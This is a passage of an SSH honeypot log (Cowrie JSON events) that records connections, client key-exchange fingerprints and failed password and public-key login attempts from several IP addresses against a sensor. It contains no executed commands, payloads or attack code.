{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:39.308532Z","src_ip":"116.110.220.181","session":"bc96fc40a587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:40.705449Z","src_ip":"116.110.220.181","session":"bc96fc40a587","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:42.195176Z","src_ip":"116.110.220.181","session":"bc96fc40a587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.243.133.118","src_port":46720,"dst_ip":"10.17.0.5","dst_port":22,"session":"31ff1eb3374d","protocol":"ssh","message":"New connection: 136.243.133.118:46720 (10.17.0.5:22) [session: 31ff1eb3374d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:05.833168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:05.838060Z","src_ip":"136.243.133.118","session":"31ff1eb3374d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:05.939370Z","src_ip":"136.243.133.118","session":"31ff1eb3374d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:97:a9:c8:4e:b5:76:76:a1:7b:a7:87:85:b3:56:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzQL/1A/wvWtn7nBX+VUivaj6++hJYFvNTpb+8bLYG2fzVYYNwuSuyuDjwk7nc8yclw2u9dHzxgc+6LbD1t+xfI1umrXSMXRs50x9wWmKIoq4NHo72xDdVIte/OshPldRc4mYkLNLJwMLNFl8OJXF97iSmk00itKQOd2sTkeBAIBPgllhW5djs+UG9rZ1BHtXrRSorYmna4Bvvot6i8rU4zrZl3mJNB9mS+0OXdhTOGwH4pIMOwJBzQNEQiJOSUTRKaZ+6ypkmelrYRcKMpNotqI2Npi1JksYC4KHPIX6X0A56mHKhPVYe4VJLR8L1ZLTLglxzBSCCvb/ciSr0JPYl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:97:a9:c8:4e:b5:76:76:a1:7b:a7:87:85:b3:56:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:06.403020Z","src_ip":"136.243.133.118","session":"31ff1eb3374d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:97:a9:c8:4e:b5:76:76:a1:7b:a7:87:85:b3:56:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzQL/1A/wvWtn7nBX+VUivaj6++hJYFvNTpb+8bLYG2fzVYYNwuSuyuDjwk7nc8yclw2u9dHzxgc+6LbD1t+xfI1umrXSMXRs50x9wWmKIoq4NHo72xDdVIte/OshPldRc4mYkLNLJwMLNFl8OJXF97iSmk00itKQOd2sTkeBAIBPgllhW5djs+UG9rZ1BHtXrRSorYmna4Bvvot6i8rU4zrZl3mJNB9mS+0OXdhTOGwH4pIMOwJBzQNEQiJOSUTRKaZ+6ypkmelrYRcKMpNotqI2Npi1JksYC4KHPIX6X0A56mHKhPVYe4VJLR8L1ZLTLglxzBSCCvb/ciSr0JPYl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:06.407339Z","src_ip":"136.243.133.118","session":"31ff1eb3374d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":57976,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f3df81cc3f5","protocol":"ssh","message":"New connection: 2.57.122.238:57976 (10.17.0.5:22) [session: 7f3df81cc3f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:06.487824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:06.493631Z","src_ip":"2.57.122.238","session":"7f3df81cc3f5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:56:9f:c4:30:01:02:b3:fa:38:9a:ae:3c:20:ed:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4QCsk7KjIZ1AixdpJpFOgMODMJXIqnNvlM+EbBNxVErsCIYbzTJX9FRRaNXSujo0CWHAqV4BW+Nzt9I7aBHjcRAYww2Za5SLQiWj0AFTXw7tbdIUe146+i8BhnXMnlwSy516DOGKg7b5tM2/Hv4RlyiiTj/O1FPq5nct/xINZg6vx70WsbsKWhlqkis69QbOIT0oqelNt1CdWZhUu6B+kYLJcJHqsD5gfyzAkcgmMYpa4IHIbbIWlKwQ2IFle5XSy5oV9hqNwKRKQJmzMumcGmBuxXMgunriJsFD3MQjpxOHqorQiP4wWLH/K6W5WgRAWkb/VGZrV81w2PBu27ccL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:56:9f:c4:30:01:02:b3:fa:38:9a:ae:3c:20:ed:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:06.505933Z","src_ip":"136.243.133.118","session":"31ff1eb3374d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:56:9f:c4:30:01:02:b3:fa:38:9a:ae:3c:20:ed:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4QCsk7KjIZ1AixdpJpFOgMODMJXIqnNvlM+EbBNxVErsCIYbzTJX9FRRaNXSujo0CWHAqV4BW+Nzt9I7aBHjcRAYww2Za5SLQiWj0AFTXw7tbdIUe146+i8BhnXMnlwSy516DOGKg7b5tM2/Hv4RlyiiTj/O1FPq5nct/xINZg6vx70WsbsKWhlqkis69QbOIT0oqelNt1CdWZhUu6B+kYLJcJHqsD5gfyzAkcgmMYpa4IHIbbIWlKwQ2IFle5XSy5oV9hqNwKRKQJmzMumcGmBuxXMgunriJsFD3MQjpxOHqorQiP4wWLH/K6W5WgRAWkb/VGZrV81w2PBu27ccL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:06.510359Z","src_ip":"136.243.133.118","session":"31ff1eb3374d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:06.595217Z","src_ip":"2.57.122.238","session":"7f3df81cc3f5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:3d:c2:c7:45:5c:dd:c5:ca:c9:4c:5d:4d:5d:8f:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoeKne+rYtO3sObgQxS7t/oaGr61TnTJJ+403ABi/wJY75cpf1T+EpzuarEWPvimj5MpEYJsp0jCpkwGzeBg4hL20pZHWFs2TF/0RrA06UA9giRdsxJn348NX5lcVho0Ly2qNe5kSX2h1YpsE710Fy4H3WcV+PYXNTXIathj71uxBjBYZ+hLLBwixw4mTtN6YUVKpipRvtDhQsb14fC3od5gAk3icACFPkFkzULkACSymZf03cHLDYDncUXy/QP8EK0Ge8ilbeFtRdjukIIzU0beWIU25R1kd4NP2coQAqiXCJ0f+eYmshQdbrmcshuB9Yj92LPUsgL8T/Yh3tKDOj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:3d:c2:c7:45:5c:dd:c5:ca:c9:4c:5d:4d:5d:8f:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:06.617876Z","src_ip":"136.243.133.118","session":"31ff1eb3374d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:3d:c2:c7:45:5c:dd:c5:ca:c9:4c:5d:4d:5d:8f:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoeKne+rYtO3sObgQxS7t/oaGr61TnTJJ+403ABi/wJY75cpf1T+EpzuarEWPvimj5MpEYJsp0jCpkwGzeBg4hL20pZHWFs2TF/0RrA06UA9giRdsxJn348NX5lcVho0Ly2qNe5kSX2h1YpsE710Fy4H3WcV+PYXNTXIathj71uxBjBYZ+hLLBwixw4mTtN6YUVKpipRvtDhQsb14fC3od5gAk3icACFPkFkzULkACSymZf03cHLDYDncUXy/QP8EK0Ge8ilbeFtRdjukIIzU0beWIU25R1kd4NP2coQAqiXCJ0f+eYmshQdbrmcshuB9Yj92LPUsgL8T/Yh3tKDOj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:06.622102Z","src_ip":"136.243.133.118","session":"31ff1eb3374d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:e6:4f:74:21:13:bb:ee:c0:71:95:a8:0d:97:16:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJaRBwn7slrnI00xOh4DOs0njIXVHSvwiF7PUrFenvw0p4S/YybKc3VjBayT65J/t+K2PGxJfaJaH/mFOjCVzTDhcuK8iEpsdstePBvjGmgTjNzR+BYZ49nnj5UP9+P2Ctm1I/dM+RZYxXqiLr9EEnSlKUgQ2WX2ojCbtTKDFxb1FV5pDc7OqCSU7/3RTPBavbtKOcIPuHsueIVqGPcNqdT4tI73p1cge/W/km1LuhxXQsrqri1CsP2OpfFCFL8+Uz9v1MqHnqqNYLrVSvjLI6XHwm/TuU2OVldrGWKn1FZXHTyoXrVrBI0Kf3Z/BVW1mMHa/HSvmP2/+qH5g3whjZEdKmccg061kppstoVHzbK0fxMGuddG9GObhwJYdCp/4EF/7oc6V7fkqFLRcgP3Jd/43C4/nBvCQTsqiHduCZksxmrnW+nG9bpH7s+u1BPboyGlB1nSKJ1fxSa+yljLOgVjPOPbKAJMc05qXZ5iKj20z48K+2d/AVaQMeEFNBQjz2TtEEM5OQ9pbmXg38Y+KFHuMmOlBTydQdIwSM23q4JiVm+NdqIZzjXoRLPt16pjbbnUKzc+eQLsO237ZYzb4dRQt4uOFLWsqSBU8pIOrjL+hmjrrkQOtqVe59FGtdIX93QboJ8iCcF4f4osD/JnV9A14o7ns0tc+uBsVrcyvuQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:e6:4f:74:21:13:bb:ee:c0:71:95:a8:0d:97:16:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:06.721922Z","src_ip":"136.243.133.118","session":"31ff1eb3374d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:e6:4f:74:21:13:bb:ee:c0:71:95:a8:0d:97:16:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJaRBwn7slrnI00xOh4DOs0njIXVHSvwiF7PUrFenvw0p4S/YybKc3VjBayT65J/t+K2PGxJfaJaH/mFOjCVzTDhcuK8iEpsdstePBvjGmgTjNzR+BYZ49nnj5UP9+P2Ctm1I/dM+RZYxXqiLr9EEnSlKUgQ2WX2ojCbtTKDFxb1FV5pDc7OqCSU7/3RTPBavbtKOcIPuHsueIVqGPcNqdT4tI73p1cge/W/km1LuhxXQsrqri1CsP2OpfFCFL8+Uz9v1MqHnqqNYLrVSvjLI6XHwm/TuU2OVldrGWKn1FZXHTyoXrVrBI0Kf3Z/BVW1mMHa/HSvmP2/+qH5g3whjZEdKmccg061kppstoVHzbK0fxMGuddG9GObhwJYdCp/4EF/7oc6V7fkqFLRcgP3Jd/43C4/nBvCQTsqiHduCZksxmrnW+nG9bpH7s+u1BPboyGlB1nSKJ1fxSa+yljLOgVjPOPbKAJMc05qXZ5iKj20z48K+2d/AVaQMeEFNBQjz2TtEEM5OQ9pbmXg38Y+KFHuMmOlBTydQdIwSM23q4JiVm+NdqIZzjXoRLPt16pjbbnUKzc+eQLsO237ZYzb4dRQt4uOFLWsqSBU8pIOrjL+hmjrrkQOtqVe59FGtdIX93QboJ8iCcF4f4osD/JnV9A14o7ns0tc+uBsVrcyvuQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:06.726530Z","src_ip":"136.243.133.118","session":"31ff1eb3374d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:f6:19:81:bd:19:f6:8c:e1:9d:6b:db:f6:b1:e7:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDyotXMdOIthgwF/5/XDmXquTK0JPhM8NLu9NQPsxFB/njRK/OlUGiBQYT+xmYWzUXaiQgP2mPRPpQRoU8yzZAV4Xx4+PPM64d8ae9UGPcFQRGA51/b9Jn1rGCQ/R/eoqhfFWJ2Ltzx1K0+gZJK2fbUk9fRn9d3GJX+tHAQC2uV4oo5hwWoANGw2hd0CsOD22cHo5/gHDS/8ToH2GX3nbKjeV89yLJt1H/T7qNc5QuRyleagiGSeNRbUfJEoX+rVwfY8IptV+mUqUCpcU0IUMbZ16WiuHgLhbn5HWpEyF2o/jpKu5nrN7VPD8+yGxLP4exvtk0bUVZd11R5y5rRtI9P/w2ejvl6Az5QFHyIx4hbrfbI0aV79lpsJ4rBOWNvI7zdG5eXXdVbWDnIH9Dc+6JEhWB09DEb6vuN26s4K6Gsg9Hqbv+k1Q7RYIJZvPu4bP6RT86kUZIAOFrT5P0PXlb4ycN3376lJYs5Is7vtRuvWokqRRqcinVHfSQAEAvVeiI2737bTLVp3RDOK89q7ZMLLhZAnEQiIyGjLuJTiFdkLFo/OWxG5vjodAEhk8oj5kNnrKcwWvNpcuyv73211P+MYz0amk8ibC/oyUJsobFDHj7firSTLOjIAmew0S+jwH4j5s9JHcxgpvLqw698UeMdqEMtXIWbKNPeCnEU1WZpRQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:f6:19:81:bd:19:f6:8c:e1:9d:6b:db:f6:b1:e7:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:06.825047Z","src_ip":"136.243.133.118","session":"31ff1eb3374d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:f6:19:81:bd:19:f6:8c:e1:9d:6b:db:f6:b1:e7:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDyotXMdOIthgwF/5/XDmXquTK0JPhM8NLu9NQPsxFB/njRK/OlUGiBQYT+xmYWzUXaiQgP2mPRPpQRoU8yzZAV4Xx4+PPM64d8ae9UGPcFQRGA51/b9Jn1rGCQ/R/eoqhfFWJ2Ltzx1K0+gZJK2fbUk9fRn9d3GJX+tHAQC2uV4oo5hwWoANGw2hd0CsOD22cHo5/gHDS/8ToH2GX3nbKjeV89yLJt1H/T7qNc5QuRyleagiGSeNRbUfJEoX+rVwfY8IptV+mUqUCpcU0IUMbZ16WiuHgLhbn5HWpEyF2o/jpKu5nrN7VPD8+yGxLP4exvtk0bUVZd11R5y5rRtI9P/w2ejvl6Az5QFHyIx4hbrfbI0aV79lpsJ4rBOWNvI7zdG5eXXdVbWDnIH9Dc+6JEhWB09DEb6vuN26s4K6Gsg9Hqbv+k1Q7RYIJZvPu4bP6RT86kUZIAOFrT5P0PXlb4ycN3376lJYs5Is7vtRuvWokqRRqcinVHfSQAEAvVeiI2737bTLVp3RDOK89q7ZMLLhZAnEQiIyGjLuJTiFdkLFo/OWxG5vjodAEhk8oj5kNnrKcwWvNpcuyv73211P+MYz0amk8ibC/oyUJsobFDHj7firSTLOjIAmew0S+jwH4j5s9JHcxgpvLqw698UeMdqEMtXIWbKNPeCnEU1WZpRQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:06.829772Z","src_ip":"136.243.133.118","session":"31ff1eb3374d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:06.899888Z","src_ip":"2.57.122.238","session":"7f3df81cc3f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:06.927907Z","src_ip":"136.243.133.118","session":"31ff1eb3374d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:08.003664Z","src_ip":"2.57.122.238","session":"7f3df81cc3f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":49406,"dst_ip":"10.17.0.5","dst_port":22,"session":"f84b3cdb3b8a","protocol":"ssh","message":"New connection: 64.89.163.156:49406 (10.17.0.5:22) [session: f84b3cdb3b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:10.781746Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:10.871468Z","src_ip":"64.89.163.156","session":"f84b3cdb3b8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":49420,"dst_ip":"10.17.0.5","dst_port":22,"session":"677c98c829d9","protocol":"ssh","message":"New connection: 64.89.163.156:49420 (10.17.0.5:22) [session: 677c98c829d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:10.954949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:16:10.960135Z","src_ip":"64.89.163.156","session":"677c98c829d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH